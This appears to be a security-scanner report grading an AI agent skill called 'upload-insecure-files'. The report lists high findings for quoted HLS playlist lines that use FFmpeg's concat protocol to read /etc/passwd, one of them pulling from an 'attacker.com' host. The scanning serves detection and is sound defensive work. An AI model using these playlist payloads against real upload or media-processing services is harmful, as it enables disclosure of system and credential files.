upload-insecure-files

github.com/yaklang/hack-skills
Verdict: Generally safe
0 critical2 high1 medium
B
SCORE 75 / 100
$skillox install upload-insecure-filesSoon
Sign in to followFollowing emails you when a re-scan drops the grade. Opt-out is per-creator on /account/billing.

Why grade B?

score · 75 / 100

The current grade reflects 2 high-severity findings (any HIGH → B).

0 CRIT2 HIGH1 MED0 LOW
To reach a higher grade
  • A
    Reach Atarget score 95

    Resolve all 2 HIGH.

Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.

Latest scan findings

Scan crawl-x4ja6rfpj6pmikvdd95dx8aw · Thu, 28 May 2026 17:26:50 GMT · 2ms

high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 415CWE-552
▾
413#EXT-X-MEDIA-SEQUENCE:0
414#EXTINF:10.0,
415concat:http://attacker.com/header.txt|file:///etc/passwd← sensitive path — credential-exfiltration vector
416#EXT-X-ENDLIST
417```
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 438CWE-552
▾
436#EXTM3U
437#EXTINF:1,
438concat:file:///etc/passwd|subfile,,start,0,end,0,,:← sensitive path — credential-exfiltration vector
439#EXT-X-ENDLIST
440```
med
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule: no-manifest
▾
View latest scan →
skillox.io/c/upload-insecure-files